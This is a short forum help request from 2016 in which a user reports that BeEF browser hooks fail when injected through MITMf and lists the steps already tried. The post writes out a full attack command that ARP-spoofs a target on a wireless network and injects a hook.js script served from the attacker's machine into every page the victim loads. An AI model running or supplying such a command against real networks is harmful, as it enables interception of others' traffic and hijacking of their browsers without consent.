PDA

View Full Version : BeEF not working with MITMF



Wynt3r
2016-04-15, 20:54
I am able to start beef service and access the panel. I am also able to execute the MITM command to have it inject all browser visited webpages to attempt to hook them but nothing happens. I have tried it on two different targets running two different versions of windows and each with IE, chrome, and Firefox, all non secure sites and still no hooks..

Command I am using:

mitmf --spoof --arp -i wlan0 --gateway 192.168.1.1 --target 192.168.1.3 --inject --js-url http://192.168.1.2:3000/hook.js

It then proceeds to log all the traffic it intercepts and it says it injects the malicious code when navigating on the target machine but never does it hook.

EDIT:
It seems theres a general error with beef itself as I get this everytime there is an attempt to hook. http://imgur.com/g16bpC2

I tried updating beef, ruby, and nothing worked.

Any help would be appreciated.